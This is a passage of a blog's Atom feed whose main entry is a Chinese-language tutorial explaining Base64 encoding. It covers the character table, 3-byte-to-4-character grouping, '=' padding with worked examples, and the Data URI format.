    <category term="Web自动化" scheme="https://0neqiu.me/categories/%E6%8A%80%E6%9C%AF%E6%95%99%E7%A8%8B/Web%E8%87%AA%E5%8A%A8%E5%8C%96/"/>
    
    
    <category term="Selenium" scheme="https://0neqiu.me/tags/Selenium/"/>
    
    <category term="Python" scheme="https://0neqiu.me/tags/Python/"/>
    
    <category term="Web自动化" scheme="https://0neqiu.me/tags/Web%E8%87%AA%E5%8A%A8%E5%8C%96/"/>
    
    <category term="自动化测试" scheme="https://0neqiu.me/tags/%E8%87%AA%E5%8A%A8%E5%8C%96%E6%B5%8B%E8%AF%95/"/>
    
    <category term="网络爬虫" scheme="https://0neqiu.me/tags/%E7%BD%91%E7%BB%9C%E7%88%AC%E8%99%AB/"/>
    
    <category term="WebDriver" scheme="https://0neqiu.me/tags/WebDriver/"/>
    
    <category term="入门教程" scheme="https://0neqiu.me/tags/%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title>Base64浅析</title>
    <link href="https://0neqiu.me/Coding-Principle/Base64%E6%B5%85%E6%9E%90/"/>
    <id>https://0neqiu.me/Coding-Principle/Base64%E6%B5%85%E6%9E%90/</id>
    <published>2025-05-09T09:52:12.000Z</published>
    <updated>2025-06-12T08:49:34.970Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Base64浅析"><a href="#Base64浅析" class="headerlink" title="Base64浅析"></a>Base64浅析</h1><h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#Base64是什么">Base64是什么</a></li><li><a href="#为什么要使用Base64（应用场景）">为什么要使用Base64（应用场景）</a></li><li><a href="#Base64的编码原理">Base64的编码原理</a></li><li><a href="#关于填充字符=">关于填充字符”=”</a></li><li><a href="#Base64-Data-URI格式">Base64 Data URI格式</a></li><li><a href="#总结">总结</a></li></ul><hr><h2 id="Base64是什么"><a href="#Base64是什么" class="headerlink" title="Base64是什么"></a>Base64是什么</h2><p><strong>Base64</strong> 是一种基于64个可打印字符来表示<strong>二进制数据</strong>的编码方法。它将每<strong>6个比特（bit）</strong>作为一个单元，对应码表中的一个可打印字符。根据这个规则，3个字节（24比特）的数据恰好可以由4个Base64字符来表示。</p><p>需要特别注意的是，Base64是一种<strong>编码（Encoding）方式</strong>，而不是加密（Encryption）算法，因此不具备任何保密性。</p><blockquote><p><strong>注</strong>：一个标准的ASCII字符由1个字节（8比特）表示。</p></blockquote><hr><h2 id="为什么要使用Base64（应用场景）"><a href="#为什么要使用Base64（应用场景）" class="headerlink" title="为什么要使用Base64（应用场景）"></a>为什么要使用Base64（应用场景）</h2><p>你可能会问，既然会增大体积，为什么还需要Base64呢？</p><p>这是因为在网络传输中，有些协议或环境只支持传输文本字符（如ASCII字符）。当需要传输图片、音频等二进制数据时，直接传输可能会导致数据损坏或解析错误。将二进制数据编码为纯文本的Base64格式，可以确保数据在任何文本环境中都能被<strong>安全、正确地传输</strong>。</p><p>常见应用场景包括：</p><ul><li><strong>Data URI</strong>：在HTML或CSS中直接嵌入图片等小型二进制资源。</li><li><strong>电子邮件（MIME）</strong>：在邮件中附加二进制文件。</li><li><strong>Web API</strong>：在JSON或XML这类基于文本的格式中包含二进制内容。</li></ul><hr><h2 id="Base64的编码原理"><a href="#Base64的编码原理" class="headerlink" title="Base64的编码原理"></a>Base64的编码原理</h2><p>Base64的编码过程可以分为以下几个步骤：</p><ol><li><strong>分组</strong>：将原始二进制数据每<strong>3个字节</strong>（24比特）作为一大组。</li><li><strong>拆分</strong>：将这个24比特的大组拆分为<strong>4个小组</strong>，每个小组<strong>6个比特</strong>。</li><li><strong>查表</strong>：将每个6比特的小组转换成十进制数，这个数就是其在Base64码表中的<strong>索引</strong>。根据索引找到对应的字符。</li><li><strong>拼接</strong>：将得到的4个字符拼接起来，即为编码后的结果。</li></ol><h4 id="Base64码表"><a href="#Base64码表" class="headerlink" title="Base64码表"></a>Base64码表</h4><p>Base64使用的64个字符包括：<code>A-Z</code>、<code>a-z</code>、<code>0-9</code>、<code>+</code> 和 <code>/</code>。</p><div class="table-container"><table><thead><tr><th style="text-align:left">索引</th><th style="text-align:left">字符</th><th style="text-align:left">索引</th><th style="text-align:left">字符</th><th style="text-align:left">索引</th><th style="text-align:left">字符</th><th style="text-align:left">索引</th><th style="text-align:left">字符</th></tr></thead><tbody><tr><td style="text-align:left">0</td><td style="text-align:left">A</td><td style="text-align:left">16</td><td style="text-align:left">Q</td><td style="text-align:left">32</td><td style="text-align:left">g</td><td style="text-align:left">48</td><td style="text-align:left">w</td></tr><tr><td style="text-align:left">1</td><td style="text-align:left">B</td><td style="text-align:left">17</td><td style="text-align:left">R</td><td style="text-align:left">33</td><td style="text-align:left">h</td><td style="text-align:left">49</td><td style="text-align:left">x</td></tr><tr><td style="text-align:left">2</td><td style="text-align:left">C</td><td style="text-align:left">18</td><td style="text-align:left">S</td><td style="text-align:left">34</td><td style="text-align:left">i</td><td style="text-align:left">50</td><td style="text-align:left">y</td></tr><tr><td style="text-align:left">3</td><td style="text-align:left">D</td><td style="text-align:left">19</td><td style="text-align:left">T</td><td style="text-align:left">35</td><td style="text-align:left">j</td><td style="text-align:left">51</td><td style="text-align:left">z</td></tr><tr><td style="text-align:left">4</td><td style="text-align:left">E</td><td style="text-align:left">20</td><td style="text-align:left">U</td><td style="text-align:left">36</td><td style="text-align:left">k</td><td style="text-align:left">52</td><td style="text-align:left">0</td></tr><tr><td style="text-align:left">5</td><td style="text-align:left">F</td><td style="text-align:left">21</td><td style="text-align:left">V</td><td style="text-align:left">37</td><td style="text-align:left">l</td><td style="text-align:left">53</td><td style="text-align:left">1</td></tr><tr><td style="text-align:left">6</td><td style="text-align:left">G</td><td style="text-align:left">22</td><td style="text-align:left">W</td><td style="text-align:left">38</td><td style="text-align:left">m</td><td style="text-align:left">54</td><td style="text-align:left">2</td></tr><tr><td style="text-align:left">7</td><td style="text-align:left">H</td><td style="text-align:left">23</td><td style="text-align:left">X</td><td style="text-align:left">39</td><td style="text-align:left">n</td><td style="text-align:left">55</td><td style="text-align:left">3</td></tr><tr><td style="text-align:left">8</td><td style="text-align:left">I</td><td style="text-align:left">24</td><td style="text-align:left">Y</td><td style="text-align:left">40</td><td style="text-align:left">o</td><td style="text-align:left">56</td><td style="text-align:left">4</td></tr><tr><td style="text-align:left">9</td><td style="text-align:left">J</td><td style="text-align:left">25</td><td style="text-align:left">Z</td><td style="text-align:left">41</td><td style="text-align:left">p</td><td style="text-align:left">57</td><td style="text-align:left">5</td></tr><tr><td style="text-align:left">10</td><td style="text-align:left">K</td><td style="text-align:left">26</td><td style="text-align:left">a</td><td style="text-align:left">42</td><td style="text-align:left">q</td><td style="text-align:left">58</td><td style="text-align:left">6</td></tr><tr><td style="text-align:left">11</td><td style="text-align:left">L</td><td style="text-align:left">27</td><td style="text-align:left">b</td><td style="text-align:left">43</td><td style="text-align:left">r</td><td style="text-align:left">59</td><td style="text-align:left">7</td></tr><tr><td style="text-align:left">12</td><td style="text-align:left">M</td><td style="text-align:left">28</td><td style="text-align:left">c</td><td style="text-align:left">44</td><td style="text-align:left">s</td><td style="text-align:left">60</td><td style="text-align:left">8</td></tr><tr><td style="text-align:left">13</td><td style="text-align:left">N</td><td style="text-align:left">29</td><td style="text-align:left">d</td><td style="text-align:left">45</td><td style="text-align:left">t</td><td style="text-align:left">61</td><td style="text-align:left">9</td></tr><tr><td style="text-align:left">14</td><td style="text-align:left">O</td><td style="text-align:left">30</td><td style="text-align:left">e</td><td style="text-align:left">46</td><td style="text-align:left">u</td><td style="text-align:left">62</td><td style="text-align:left">+</td></tr><tr><td style="text-align:left">15</td><td style="text-align:left">P</td><td style="text-align:left">31</td><td style="text-align:left">f</td><td style="text-align:left">47</td><td style="text-align:left">v</td><td style="text-align:left">63</td><td style="text-align:left">/</td></tr></tbody></table></div><hr><h2 id="关于填充字符=">关于填充字符"="</h2><p>当原始数据的字节数<strong>不是3的整数倍</strong>时，编码到最后会剩下1或2个字节。此时就需要用 <code>=</code>作为<strong>填充字符</strong>，以确保最终的Base64字符串长度是4的倍数。</p><ul><li><strong>剩下1个字节</strong>：在其二进制（8比特）后补 <code>0000</code>，凑成12比特，然后拆分为两个6比特的小组进行编码，最后在结果末尾<strong>补充两个 <code>=</code></strong>。</li><li><strong>剩下2个字节</strong>：在其二进制（16比特）后补 <code>00</code>，凑成18比特，然后拆分为三个6比特的小组进行编码，最后在结果末尾<strong>补充一个 <code>=</code></strong>。</li></ul><p>例如：</p><ul><li><code>0neqiu</code>（6字节）编码为 <code>MG5lcWl1</code> (8字符，无需填充)。</li><li><code>0neqi</code>（5字节）编码为 <code>MG5lcWk=</code> (8字符，填充一个=)。</li></ul><hr><h2 id="Base64-Data-URI格式"><a href="#Base64-Data-URI格式" class="headerlink" title="Base64 Data URI格式"></a>Base64 Data URI格式</h2><p>在Web开发中，有时会看到形如下方的Base64字符串：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">data:image/jpeg;base64,/9j/4AA...</span><br></pre></td></tr></table></figure><p>这被称为<strong>Data URI</strong>。它允许将数据（如此处的JPEG图片）直接嵌入到网页文档中。浏览器可以直接解析并显示它。</p><p>需要注意的是，<code>data:image/jpeg;base64,</code>这部分是头部信息，<strong>并非Base64内容本身</strong>。如果你需要提取原始的Base64编码，应当只取<strong>逗号 <code>,</code>之后</strong>的部分。</p><hr><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ul><li><strong>是什么</strong>：Base64是一种将二进制数据转换为文本字符的编码方案。</li><li><strong>为什么用</strong>：为了在只支持文本的环境中安全地传输二进制数据。</li><li><strong>如何工作</strong>：将每3个字节（24比特）的数据转换为4个可打印字符。</li><li><strong>特点</strong>：编码后的数据体积会增大约<strong>33%</strong>，它<strong>不是加密算法</strong>。</li><li><strong>填充</strong>：当原始数据长度不是3的倍数时，使用 <code>=</code>进行填充。</li></ul><p>引用文章:</p><p><a href="https://zhuanlan.zhihu.com/p/384238870">让你彻底理解Base64算法（Base64是什么，Base64解决什么问题，Base64字符串末尾的=是什么） - 知乎</a></p><p><a href="https://blog.csdn.net/qq_19782019/article/details/88117150">什么是Base64算法？——全网最详细讲解</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Base64浅析&quot;&gt;&lt;a href=&quot;#Base64浅析&quot; class=&quot;headerlink&quot; title=&quot;Base64浅析&quot;&gt;&lt;/a&gt;Base64浅析&lt;/h1&gt;&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; titl</summary>
      
    
    
    
    <category term="Coding Principle" scheme="https://0neqiu.me/categories/Coding-Principle/"/>
    
    
    <category term="Coding Principle" scheme="https://0neqiu.me/tags/Coding-Principle/"/>
    
  </entry>
  
</feed>
